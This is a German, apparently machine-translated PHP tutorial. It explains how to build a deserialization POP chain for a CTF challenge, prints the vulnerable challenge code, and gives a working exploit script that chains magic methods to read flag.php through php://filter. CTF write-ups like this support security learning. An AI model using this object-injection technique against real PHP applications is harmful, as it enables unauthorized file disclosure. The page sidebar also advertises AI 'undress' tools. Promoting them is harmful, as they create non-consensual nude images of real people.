


Detaillierte Einführung in die Wissenspunkte der PHP-Deserialisierungs-Pop-Chain-Konstruktion
Dieser Artikel vermittelt Ihnen relevantes Wissen über PHP, das hauptsächlich verwandte Themen zur Pop-Chain-Konstruktion vorstellt. Pop-Chain ist eine Art attributorientierte Programmierung, die häufig zum Erstellen von Aufrufketten verwendet wird. Ich hoffe, es hilft allen.
Empfohlenes Lernen: „PHP-Video-Tutorial“
Während wir weiterhin mehr über Deserialisierung erfahren, lernen wir etwas über die Struktur der Pop-Kette. Für einen Neuling wie mich ist diese Pop-Kette immer noch schwer zu verstehen. Ich werde diesen Artikel noch einmal schreiben, um ihn zusammenzufassen und mein Verständnis für den Aufbau von Pop-Ketten zu vertiefen. Gleichzeitig sorgt es auch für ein gewisses Verständnis für Freunde, die in die Falle tappen wollen.
Pop-Chain-Konstruktion
Allgemeine Deserialisierungsprobleme, bei denen Lücken vorhanden sind oder bösartiger Code in die magische Methode eingefügt werden kann, können wir den Angriffseffekt erzielen, indem wir die magische Methode automatisch aufrufen. Wenn jedoch der Injektionspunkt in einer gewöhnlichen Klassenmethode vorhanden ist, ist die zuvor automatisch aufgerufene Methode ungültig. Daher müssen wir die Verbindung zwischen der gewöhnlichen Klasse und der magischen Methode finden, eine logische Idee herausfinden und diese logische Idee zum Konstruieren verwenden eine Pop-Kette, um den Zweck des Angriffs zu erreichen. Wenn wir diese Art von Pop-Fragen stellen, müssen wir daher der magischen Methode große Aufmerksamkeit schenken.
Einführung in die Pop-Kette
Es handelt sich um eine Methode der attributorientierten Programmierung, die häufig zum Aufbau von Aufrufketten verwendet wird. Suchen Sie nach einer Reihe von Anweisungen, die im Code der Frage aufgerufen werden können, und integrieren Sie diese Anweisungen in einen logischen Code, der böswillige Angriffseffekte erzielen kann. Dies ist die Pop-Kette (persönliches Verständnis, Meister können gerne Meinungen abgeben) bei der Konstruktion Pop-Kette, magische Methoden sind unerlässlich. Im Folgenden wird anhand eines Beispiels erläutert, wie die Pop-Kette aufgebaut ist, sowie die spezifischen Konstruktionsideen.
Der Fragecode:
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
Konstruktionsideen
Finden Sie beim Aufbau der Anrufkette zunächst den Kopf und das Ende des Anrufs Kette. Der Header ist im Allgemeinen ein Ort, an dem Parameter übergeben und deserialisiert werden können, während der Tail im Allgemeinen ein Ort ist, an dem Schadcode ausgeführt werden kann. Bei der Prüfung des Codes für diese Frage verwendet der Header die Get-Methode, um Parameter an Pop zu übergeben, und der Tail enthält die Include-Funktion. An diesem Punkt sollten wir alle wissen, dass wir das PHP-Pseudoprotokoll verwenden müssen, um den Quellcode der Flag-Datei zu lesen. Nachdem Kopf und Schwanz nun gefunden sind, kennen wir auch die Angriffsmethode. Finden Sie dann die magische Methode in der Frage.
__invoke() 当一个类被当作函数执行时调用此方法。 __construct 在创建对象时调用此方法 __toString() 在一个类被当作字符串处理时调用此方法 __wakeup() 当反序列化恢复成对象时调用此方法 __get() 当读取不可访问或不存在的属性的值会被调用
In der Frage sind insgesamt diese fünf Zaubermethoden enthalten. Finden Sie dann die Verbindung zwischen gewöhnlichen Klassen und magischen Methoden.
Es ist nicht schwer zu erkennen, dass es in der Wakeup-Funktion eine preg_match-Funktion gibt, die verwendet wird, um sensible Zeichenfolgen in der Quelle zu finden. Wir können von hier aus beginnen und die Quelle einer Show-Klasse zuweisen, dann wird die toString-Funktion verwendet automatisch ausgelöst, daher müssen wir jetzt die tostring-Methode verwenden. Um die Kette zu erweitern, können wir der Testklasse in der totring-Methode zuweisen und die Quellvariable in der Testklasse lesen (da es keine gibt). (Quellattribut in der Testklasse, auf ein unzugängliches Attribut wird zugegriffen.) Anschließend wird automatisch die get magic-Methode aufgerufen. Es kann festgestellt werden, dass es einen Funktionsaufruf in der get-Methode gibt. Dann können wir $this->p der Modifier-Klasse zuweisen und die invoke-Methode wird automatisch aufgerufen, um das von uns geschriebene PHP-Pseudoprotokoll auszuführen (zuweisen). var-Attribut in der Modifer-Klasse zu unserem Schadcode hinzufügen)
An diesem Punkt erstellen wir die Pop-Kette.
Erklärung der Pop-Kette
<?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; function _construct(){ $this->source=$file; } } class Test{ public $p; } $a = new show(); $b = new show(); $c = new test(); $d = new Modifier(); $a->source=$b; $b->str=$c; $c->p= $d; echo urlencode(serialize($a)); ?>
Schreiben Sie zuerst die Klassen auf, die zur Bildung eines Frameworks verwendet werden, und geben Sie dann die Variablen in den Klassen an. Instanziieren Sie die verwendeten Klassen separat. Warum müssen Sie new show zweimal verwenden? die erste Instanziierung. Quelle = zum zweiten Mal instanziiert anzeigen)
Versuchen Sie, bei der Serialisierung die URL-Codierung zu verwenden (diese Frage enthält geschützte geänderte Attribute und es werden unsichtbare Zeichen vorhanden sein)
Empfohlenes Lernen: „PHP-Video-Tutorial 》
Das obige ist der detaillierte Inhalt vonDetaillierte Einführung in die Wissenspunkte der PHP-Deserialisierungs-Pop-Chain-Konstruktion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

Video Face Swap
Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



PHP 8.4 bringt mehrere neue Funktionen, Sicherheitsverbesserungen und Leistungsverbesserungen mit einer beträchtlichen Menge an veralteten und entfernten Funktionen. In dieser Anleitung wird erklärt, wie Sie PHP 8.4 installieren oder auf PHP 8.4 auf Ubuntu, Debian oder deren Derivaten aktualisieren. Obwohl es möglich ist, PHP aus dem Quellcode zu kompilieren, ist die Installation aus einem APT-Repository wie unten erläutert oft schneller und sicherer, da diese Repositorys in Zukunft die neuesten Fehlerbehebungen und Sicherheitsupdates bereitstellen.

Wenn Sie ein erfahrener PHP-Entwickler sind, haben Sie möglicherweise das Gefühl, dass Sie dort waren und dies bereits getan haben. Sie haben eine beträchtliche Anzahl von Anwendungen entwickelt, Millionen von Codezeilen debuggt und eine Reihe von Skripten optimiert, um op zu erreichen

Visual Studio Code, auch bekannt als VS Code, ist ein kostenloser Quellcode-Editor – oder eine integrierte Entwicklungsumgebung (IDE) –, die für alle gängigen Betriebssysteme verfügbar ist. Mit einer großen Sammlung von Erweiterungen für viele Programmiersprachen kann VS Code c

JWT ist ein offener Standard, der auf JSON basiert und zur sicheren Übertragung von Informationen zwischen Parteien verwendet wird, hauptsächlich für die Identitätsauthentifizierung und den Informationsaustausch. 1. JWT besteht aus drei Teilen: Header, Nutzlast und Signatur. 2. Das Arbeitsprinzip von JWT enthält drei Schritte: Generierung von JWT, Überprüfung von JWT und Parsingnayload. 3. Bei Verwendung von JWT zur Authentifizierung in PHP kann JWT generiert und überprüft werden, und die Funktionen und Berechtigungsinformationen der Benutzer können in die erweiterte Verwendung aufgenommen werden. 4. Häufige Fehler sind Signaturüberprüfungsfehler, Token -Ablauf und übergroße Nutzlast. Zu Debugging -Fähigkeiten gehört die Verwendung von Debugging -Tools und Protokollierung. 5. Leistungsoptimierung und Best Practices umfassen die Verwendung geeigneter Signaturalgorithmen, das Einstellen von Gültigkeitsperioden angemessen.

Dieses Tutorial zeigt, wie XML -Dokumente mit PHP effizient verarbeitet werden. XML (Extensible Markup-Sprache) ist eine vielseitige textbasierte Markup-Sprache, die sowohl für die Lesbarkeit des Menschen als auch für die Analyse von Maschinen entwickelt wurde. Es wird üblicherweise für die Datenspeicherung ein verwendet und wird häufig verwendet

Eine Zeichenfolge ist eine Folge von Zeichen, einschließlich Buchstaben, Zahlen und Symbolen. In diesem Tutorial wird lernen, wie Sie die Anzahl der Vokale in einer bestimmten Zeichenfolge in PHP unter Verwendung verschiedener Methoden berechnen. Die Vokale auf Englisch sind a, e, i, o, u und sie können Großbuchstaben oder Kleinbuchstaben sein. Was ist ein Vokal? Vokale sind alphabetische Zeichen, die eine spezifische Aussprache darstellen. Es gibt fünf Vokale in Englisch, einschließlich Großbuchstaben und Kleinbuchstaben: a, e, ich, o, u Beispiel 1 Eingabe: String = "TutorialPoint" Ausgabe: 6 erklären Die Vokale in der String "TutorialPoint" sind u, o, i, a, o, ich. Insgesamt gibt es 6 Yuan

Statische Bindung (statisch: :) implementiert die späte statische Bindung (LSB) in PHP, sodass das Aufrufen von Klassen in statischen Kontexten anstatt Klassen zu definieren. 1) Der Analyseprozess wird zur Laufzeit durchgeführt.

Was sind die magischen Methoden von PHP? Zu den magischen Methoden von PHP gehören: 1. \ _ \ _ Konstrukt, verwendet, um Objekte zu initialisieren; 2. \ _ \ _ Destruct, verwendet zur Reinigung von Ressourcen; 3. \ _ \ _ Call, behandeln Sie nicht existierende Methodenaufrufe; 4. \ _ \ _ GET, Implementieren Sie den dynamischen Attributzugriff; 5. \ _ \ _ Setzen Sie dynamische Attributeinstellungen. Diese Methoden werden in bestimmten Situationen automatisch aufgerufen, wodurch die Code -Flexibilität und -Effizienz verbessert werden.
